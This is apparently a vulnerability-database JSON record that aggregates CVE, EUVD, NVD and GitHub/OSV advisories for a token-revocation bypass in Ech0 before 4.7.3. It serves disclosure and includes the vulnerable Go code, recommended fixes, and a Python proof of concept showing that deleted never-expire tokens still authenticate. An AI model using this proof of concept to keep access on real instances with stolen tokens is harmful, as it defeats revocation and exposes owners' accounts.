{"id":"GO-2026-5375","revision":null,"records":[{"revision":"9ce3e50a688c41bd8ea4c305a93cc4c0","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-79664","aliases":[],"title":"Ech0 before 4.7.3 Access Token Revocation Bypass","description":"Ech0 before 4.7.3 fails to properly revoke access tokens created with never-expire option, allowing attackers to maintain perpetual authenticated access after token theft. Three independent revocation mechanisms fail: logout panics on nil ExpiresAt field, RevokeToken skips when remainTTL is zero, and admin delete does not blacklist the JTI, leaving stolen tokens cryptographically valid until JWT secret rotation.","state":0,"publishedAt":"2026-08-25T11:33:27.375+00:00","modifiedAt":"2026-10-08T15:25:14.377+00:00","affected":[{"ecosystem":"Vendor product","name":"Ech0","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"lin-snow\",\n                    \"product\": \"Ech0\",\n                    \"defaultStatus\": \"unaffected\",\n                    \"packageURL\": \"pkg:golang/github.com/lin-snow/ech0\",\n                    \"versions\": [\n                        {\n                            \"version\": \"0\",\n                            \"status\": \"affected\",\n                            \"versionType\": \"semver\",\n                            \"lessThan\": \"4.7.3\"\n                        },\n                        {\n                            \"version\": \"4.7.3\",\n                            \"status\": \"unaffected\",\n                            \"versionType\": \"semver\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","score":9.1,"severity":"CRITICAL"},{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","score":7.4,"severity":"HIGH"}],"references":["https://github.com/lin-snow/Ech0/security/advisories/GHSA-fpw6-hrg5-q5x5","https://www.vulncheck.com/advisories/ech0-before-access-token-revocation-bypass"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-79664","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-79664","identifiers":["CVE-2026-79664"]},"retained":false,"historicalAffected":[]},{"revision":"b30a79dcb3c343cab792aab0a47d0aa7","observedAt":"2026-11-09T15:14:38.457+00:00","statement":{"source":"euvd","id":"EUVD-2026-65450","aliases":["CVE-2026-79664","GHSA-3r5q-vfpj-wprr"],"title":"Ech0 before 4.7.3 fails to properly revoke access tokens created with never-expire option, allowing attackers to maintain perpetual authenticated access after token theft. Three independent revocation mechanisms fail: logout panics on nil E…","description":"Ech0 before 4.7.3 fails to properly revoke access tokens created with never-expire option, allowing attackers to maintain perpetual authenticated access after token theft. Three independent revocation mechanisms fail: logout panics on nil ExpiresAt field, RevokeToken skips when remainTTL is zero, and admin delete does not blacklist the JTI, leaving stolen tokens cryptographically valid until JWT secret rotation.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","score":9.1,"severity":null}],"references":["https://github.com/lin-snow/Ech0/security/advisories/GHSA-fpw6-hrg5-q5x5","https://www.vulncheck.com/advisories/ech0-before-access-token-revocation-bypass"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-65450","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Aug 25, 2026, 11:33:27 AM","dateUpdated":"Oct 8, 2026, 3:25:14 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-65450","identifiers":["EUVD-2026-65450","CVE-2026-79664","GHSA-3r5q-vfpj-wprr"]},"retained":false,"historicalAffected":[]},{"revision":"25ceb0cfeef34035a67bd5f31c8fdf9a","observedAt":"2026-10-25T16:19:04.694+00:00","statement":{"source":"nvd","id":"CVE-2026-79664","aliases":[],"title":"Ech0 before 4.7.3 fails to properly revoke access tokens created with never-expire option, allowing attackers to maintain perpetual authenticated access after token theft. Three independent revocation mechanisms fail: logout panics on nil E…","description":"Ech0 before 4.7.3 fails to properly revoke access tokens created with never-expire option, allowing attackers to maintain perpetual authenticated access after token theft. Three independent revocation mechanisms fail: logout panics on nil ExpiresAt field, RevokeToken skips when remainTTL is zero, and admin delete does not blacklist the JTI, leaving stolen tokens cryptographically valid until JWT secret rotation.","state":0,"publishedAt":"2026-08-25T12:16:34.37+00:00","modifiedAt":"2026-09-23T18:14:58.577+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · disclosure@vulncheck.com · Secondary","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":9.1,"severity":"CRITICAL"},{"system":"CVSS 3.1 · disclosure@vulncheck.com · Secondary","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","score":7.4,"severity":"HIGH"}],"references":["https://github.com/lin-snow/Ech0/security/advisories/GHSA-fpw6-hrg5-q5x5","https://www.vulncheck.com/advisories/ech0-before-access-token-revocation-bypass"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79664","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Awaiting Analysis","weaknesses":["CWE-613"],"productCriteria":[],"sourceDates":{"published":"2026-08-25T12:16:34.370","lastModified":"2026-09-23T18:14:58.577"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-79664","identifiers":["CVE-2026-79664"]},"retained":false,"historicalAffected":[]},{"revision":"09fd41201f2247a0bee4708a117af4d8","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-fpw6-hrg5-q5x5","aliases":["CVE-2026-79664","GO-2026-5375"],"title":"ech0's acess tokens with expiry=never cannot be revoked: logout panics, delete does not blacklist JTI","description":"## Summary\n\nAccess tokens created with the \"never expire\" option have no `exp` JWT claim. Three independent revocation mechanisms fail for this token type. Logout at `internal/handler/auth/auth.go:154` and `:163` dereferences `claims.ExpiresAt.Time`, panicking on the nil field so the token never hits the blacklist. `RevokeToken` at `internal/repository/auth/auth.go:45-50` skips when `remainTTL <= 0`. The admin's \"Delete token\" panel action at `internal/service/setting/access_token_service.go:183-185` removes the database record but does not call `RevokeToken` to blacklist the JTI. Once a never-expire token leaks, the JWT stays cryptographically valid until the admin rotates the signing key across the entire instance.\n\n## Details\n\nCreation path at `internal/util/jwt/jwt.go:103-105`:\n\n```go\n// expiry = 0 表示永不过期\nif expiry > 0 {\n    claims.ExpiresAt = jwt.NewNumericDate(time.Now().UTC().Add(time.Duration(expiry) * time.Second))\n}\n```\n\nFor `NEVER_EXPIRY`, `expiry = 0` and the conditional skips. The resulting JWT has no `exp` claim. The middleware at `internal/middleware/auth.go` accepts it; the `jwt/v5` parser does not require `exp` by default.\n\nFailure mode 1, logout panic at `internal/handler/auth/auth.go:163`:\n\n```go\n// Refresh-token revocation at line 154 (safe in practice: refresh tokens always have exp).\n// Access-token revocation, same pattern, at line 163 (the bug):\nif claims, err := jwtUtil.ParseToken(authHeader[7:]); err == nil && claims.ID != \"\" {\n    remaining := time.Until(claims.ExpiresAt.Time)  // nil deref when ExpiresAt is nil\n    h.authService.RevokeToken(claims.ID, remaining)\n}\n```\n\nFor a never-expire access token, `claims.ExpiresAt` is nil. `claims.ExpiresAt.Time` panics. Gin's Recovery middleware catches it and returns HTTP 500; the JTI never reaches `RevokeToken`. Line 154 shares the same pattern against refresh tokens, but refresh tokens are always issued with an expiry so the nil dereference does not fire there in practice.\n\nFailure mode 2, `RevokeToken` skip at `internal/repository/auth/auth.go:45-50`:\n\n```go\nfunc (authRepository *AuthRepository) RevokeToken(jti string, remainTTL time.Duration) {\n    if jti == \"\" || remainTTL <= 0 {\n        return\n    }\n    authRepository.cache.SetWithTTL(fmt.Sprintf(\"%s%s\", blacklistPrefix, jti), true, 1, remainTTL)\n}\n```\n\nEven if the logout path were patched to handle nil `ExpiresAt`, a caller computing `remainTTL = 0` would still skip the blacklist write.\n\nFailure mode 3, admin delete at `internal/service/setting/access_token_service.go:183-185`:\n\n```go\nreturn settingService.transactor.Run(ctx, func(txCtx context.Context) error {\n    return settingService.settingRepository.DeleteAccessTokenByID(txCtx, id)\n})\n```\n\nDeletion removes the token's metadata row from the database. No call to `RevokeToken`, no write to the JTI blacklist. The JWT continues to validate because the signature is still authentic and the middleware does not consult the metadata table.\n\nThe only way to invalidate a compromised never-expire token is to rotate `JWT_SECRET`, which invalidates every token for every user across the whole instance.\n\n## Proof of Concept\n\nDefault install. Admin creates a never-expire access token; its revocation pathways all fail:\n\n```python\nimport requests, base64, json\nTARGET = \"http://localhost:8300\"\n\nowner = requests.post(f\"{TARGET}/api/login\",\n                      json={\"username\": \"owner\", \"password\": \"owner-pw\"}\n                     ).json()[\"data\"][\"access_token\"]\n\n# 1) Create a never-expire access token.\nr = requests.post(f\"{TARGET}/api/access-tokens\",\n                  headers={\"Authorization\": f\"Bearer {owner}\",\n                           \"content-type\": \"application/json\"},\n                  json={\"name\": \"poc-irrevocable\",\n                        \"expiry\": \"never\",\n                        \"scopes\": [\"profile:read\"],\n                        \"audience\": \"cli\"})\ntok = r.json()[\"data\"]\npad = lambda s: s + \"=\" * (-len(s) % 4)\npayload = json.loads(base64.urlsafe_b64decode(pad(tok.split(\".\")[1])))\nprint(f\"  exp claim: {payload.get('exp')}  (None = never expires)\")\nprint(f\"  jti: {payload['jti']}\")\n\n# 2) Confirm it works.\nr = requests.get(f\"{TARGET}/api/user\", headers={\"Authorization\": f\"Bearer {tok}\"})\nprint(f\"  token -> /api/user: HTTP {r.status_code}\")\n\n# 3) Failure mode #1 — logout panics on nil ExpiresAt.\nr = requests.post(f\"{TARGET}/api/auth/logout\",\n                  headers={\"Authorization\": f\"Bearer {tok}\"})\nprint(f\"  logout: HTTP {r.status_code} (500 = Recovery middleware caught the panic)\")\n\n# 4) Failure mode #3 — admin delete does not blacklist the JTI.\nlisted = requests.get(f\"{TARGET}/api/access-tokens\",\n                      headers={\"Authorization\": f\"Bearer {owner}\"}).json()[\"data\"]\npoc_row = next(t for t in listed if t[\"name\"] == \"poc-irrevocable\")\nr = requests.delete(f\"{TARGET}/api/access-tokens/{poc_row['id']}\",\n                    headers={\"Authorization\": f\"Bearer {owner}\"})\nprint(f\"  admin delete: HTTP {r.status_code} {r.text}\")\n\n# 5) Token should now be invalid if delete blacklisted. Test it.\nr = requests.get(f\"{TARGET}/api/user\", headers={\"Authorization\": f\"Bearer {tok}\"})\nprint(f\"  after delete, token -> /api/user: HTTP {r.status_code}\")\nprint(f\"  response body: {r.text[:150]}\")\n```\n\nObserved on v4.5.6 in the test container:\n\n```\nexp claim: None  (None = never expires)\njti: 019daf86-6354-7c2d-9ff1-180de87667b3\ntoken -> /api/user: HTTP 200\nlogout: HTTP 500 (500 = Recovery middleware caught the panic)\nadmin delete: HTTP 200 {\"code\":1,\"msg\":\"删除访问令牌成功\",\"data\":null}\nafter delete, token -> /api/user: HTTP 200\nresponse body: {\"code\":1,\"msg\":\"获取用户信息成功\",\"data\":{\"id\":\"019daf76-b5d2-7778-a90a-e943872b2946\",\"username\":\"owner\",\"email\":\"owner@test.local\",\"is_admin\":true,\"is_owner\":true,...}}\n```\n\nAfter the admin \"deleted\" the token, the same JWT string still returns the owner's profile data. The token stays valid with no path to invalidate it short of rotating `JWT_SECRET`.\n\n## Impact\n\nThe \"never expire\" option is intended for CLI and integration use cases where rotating tokens is expensive. When one of those tokens leaks (configuration file committed to a public repo, developer laptop compromised, log file uploaded by mistake), the admin has no remediation that does not nuke every other user's session.\n\nA compromised token gives the attacker:\n\n- **Perpetual authenticated access** at whatever scopes the token holds until the JWT secret is rotated.\n- **Admin's \"revoke\" UI button lies.** The token row disappears from the panel but the bearer keeps working. The admin believes they mitigated the incident.\n- **Instance-wide blast radius on proper revocation.** The only working fix (rotate JWT_SECRET) forces every user to log in again and invalidates every other access token. Security incidents force operators into an all-or-nothing choice.\n\nPrecondition: token theft. A stolen token is the standard threat model for any long-lived credential; the point of revocation is that stolen credentials can be invalidated. Ech0 currently has no working path to do that for the \"never expire\" class.\n\n## Recommended Fix\n\nThree coordinated changes, matching the three failure modes:\n\n1. Replace \"never expire\" with a very long expiry (for example 10 years) so every token has a finite `exp` claim. This removes the conditional at `jwt.go:103` entirely:\n\n```go\nif expiry == model.NEVER_EXPIRY {\n    expiry = int64((10 * 365 * 24 * time.Hour).Seconds())\n}\nclaims.ExpiresAt = jwt.NewNumericDate(time.Now().UTC().Add(time.Duration(expiry) * time.Second))\n```\n\n2. If the \"never expire\" semantics must be preserved, make logout handle nil `ExpiresAt` explicitly:\n\n```go\nif claims, err := jwtUtil.ParseToken(authHeader[7:]); err == nil && claims.ID != \"\" {\n    var remaining time.Duration\n    if claims.ExpiresAt != nil {\n        remaining = time.Until(claims.ExpiresAt.Time)\n    } else {\n        remaining = 365 * 24 * time.Hour\n    }\n    h.authService.RevokeToken(claims.ID, remaining)\n}\n```\n\nAnd accept non-positive TTLs in `RevokeToken` by substituting a long default.\n\n3. Blacklist the JTI when admin deletes an access token:\n\n```go\ntok, err := settingService.settingRepository.GetAccessTokenByID(ctx, id)\nif err != nil {\n    return err\n}\nif tok.JTI != \"\" {\n    settingService.authRepo.RevokeToken(tok.JTI, 365*24*time.Hour)\n}\nreturn settingService.transactor.Run(ctx, func(txCtx context.Context) error {\n    return settingService.settingRepository.DeleteAccessTokenByID(txCtx, id)\n})\n```\n\nAny two of the three changes close the gap; all three together make the revocation semantics match the admin's mental model.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*","state":0,"publishedAt":"2026-05-07T21:34:01+00:00","modifiedAt":"2026-08-27T04:10:39.1799518+00:00","affected":[{"ecosystem":"Go","name":"github.com/lin-snow/ech0","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.4.8-0.20260503041146-eab62379c795"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/lin-snow/Ech0/security/advisories/GHSA-fpw6-hrg5-q5x5","https://github.com/lin-snow/Ech0/commit/eab62379c795c3f4850a9ca938ae3f27d7171541","https://github.com/lin-snow/Ech0"],"sourceUrl":"https://github.com/advisories/GHSA-fpw6-hrg5-q5x5","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-fpw6-hrg5-q5x5","identifiers":["GHSA-fpw6-hrg5-q5x5","CVE-2026-79664","GO-2026-5375"]},"retained":false,"historicalAffected":[]},{"revision":"d02bdd1e9f144547bd4d47a5b928194b","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5375","aliases":["CVE-2026-79664","GHSA-fpw6-hrg5-q5x5"],"title":"ech0's acess tokens with expiry=never cannot be revoked: logout panics, delete does not blacklist JTI in github.com/lin-snow/ech0","description":"ech0's acess tokens with expiry=never cannot be revoked: logout panics, delete does not blacklist JTI in github.com/lin-snow/ech0","state":0,"publishedAt":"2026-06-25T18:43:19+00:00","modifiedAt":"2026-08-27T04:10:39.1799518+00:00","affected":[{"ecosystem":"Go","name":"github.com/lin-snow/ech0","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.4.8-0.20260503041146-eab62379c795"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/lin-snow/Ech0/security/advisories/GHSA-fpw6-hrg5-q5x5","https://github.com/lin-snow/Ech0/commit/eab62379c795c3f4850a9ca938ae3f27d7171541"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5375","license":"OSV · upstream source license applies","key":"osv:GO-2026-5375","identifiers":["GO-2026-5375","CVE-2026-79664","GHSA-fpw6-hrg5-q5x5"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-10T19:23:59.9183258+00:00","complete":true,"records":1773,"lastAttemptAt":"2026-11-10T19:23:59.9183258+00:00","lastSuccessAt":"2026-11-10T19:24:00.2370482+00:00","error":null,"lastVerifiedAt":"2026-11-10T19:24:00.2370549+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-8859cf40d4337e24bd2f258cc7778fbad01bb24c79d057aaf34cf1dfc6f8917d-f2f4ba314860e9e17a66947505579ed713f511b53a4762548045095e6e99afbd","complete":true,"records":422304,"lastAttemptAt":"2026-11-10T19:21:29.2484141+00:00","lastSuccessAt":"2026-11-10T19:21:28.9991659+00:00","error":null,"lastVerifiedAt":"2026-11-10T19:21:29.2484141+00:00","snapshotPublishedAt":"2026-11-10T18:26:14+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-acbb624a79c244aa868394151a25f053","complete":true,"records":13704,"lastAttemptAt":"2026-11-10T19:24:02.5081725+00:00","lastSuccessAt":"2026-11-10T18:24:12.001+00:00","error":null,"lastVerifiedAt":"2026-11-10T18:24:12.001+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13758,"expectedIdentifiers":13758,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-10T19:23:59.9183258+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-10T19:23:59.9183258+00:00","lastSuccessAt":"2026-11-10T19:24:00.2381624+00:00","error":null,"lastVerifiedAt":"2026-11-10T19:24:00.2381812+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-4459456b8f8c43778c308d7de0a43211","complete":true,"records":13710,"lastAttemptAt":"2026-11-10T19:24:01.780186+00:00","lastSuccessAt":"2026-11-10T18:24:11.141+00:00","error":null,"lastVerifiedAt":"2026-11-10T18:24:11.141+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13758,"expectedIdentifiers":13758,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-50a085e5b7a5d1546eabdb7e52fab85d658afa8554d3cf95a0891c49d83f2979","complete":true,"records":9935,"lastAttemptAt":"2026-11-10T19:23:59.6188503+00:00","lastSuccessAt":"2026-11-10T16:25:20.0114252+00:00","error":null,"lastVerifiedAt":"2026-11-10T19:23:59.6188503+00:00","snapshotPublishedAt":"2026-11-10T16:18:10+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-26503967ae4379db8f374089589d6e03fb15bd31f820c9e992aaf93840c2236c","complete":true,"records":1971,"lastAttemptAt":"2026-11-10T19:21:29.467842+00:00","lastSuccessAt":"2026-11-09T21:02:20.472473+00:00","error":null,"lastVerifiedAt":"2026-11-10T19:21:29.467842+00:00","snapshotPublishedAt":"2026-11-09T20:18:18+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-df497239f2f75af38e095cb498791dad4044a8a9a7f5f0ee6008bb732579ab9d","complete":true,"records":3081,"lastAttemptAt":"2026-11-10T19:23:59.7538509+00:00","lastSuccessAt":"2026-11-10T14:21:34.3717399+00:00","error":null,"lastVerifiedAt":"2026-11-10T19:23:59.7538509+00:00","snapshotPublishedAt":"2026-11-10T14:18:07+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-da8f4500acb46c1f6ac483c7f26bcf8f23ffed08d67c9622553c8424a369b040","complete":true,"records":231620,"lastAttemptAt":"2026-11-10T19:23:59.4861543+00:00","lastSuccessAt":"2026-11-10T19:23:57.9397379+00:00","error":null,"lastVerifiedAt":"2026-11-10T19:23:59.4861543+00:00","snapshotPublishedAt":"2026-11-10T18:33:35+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}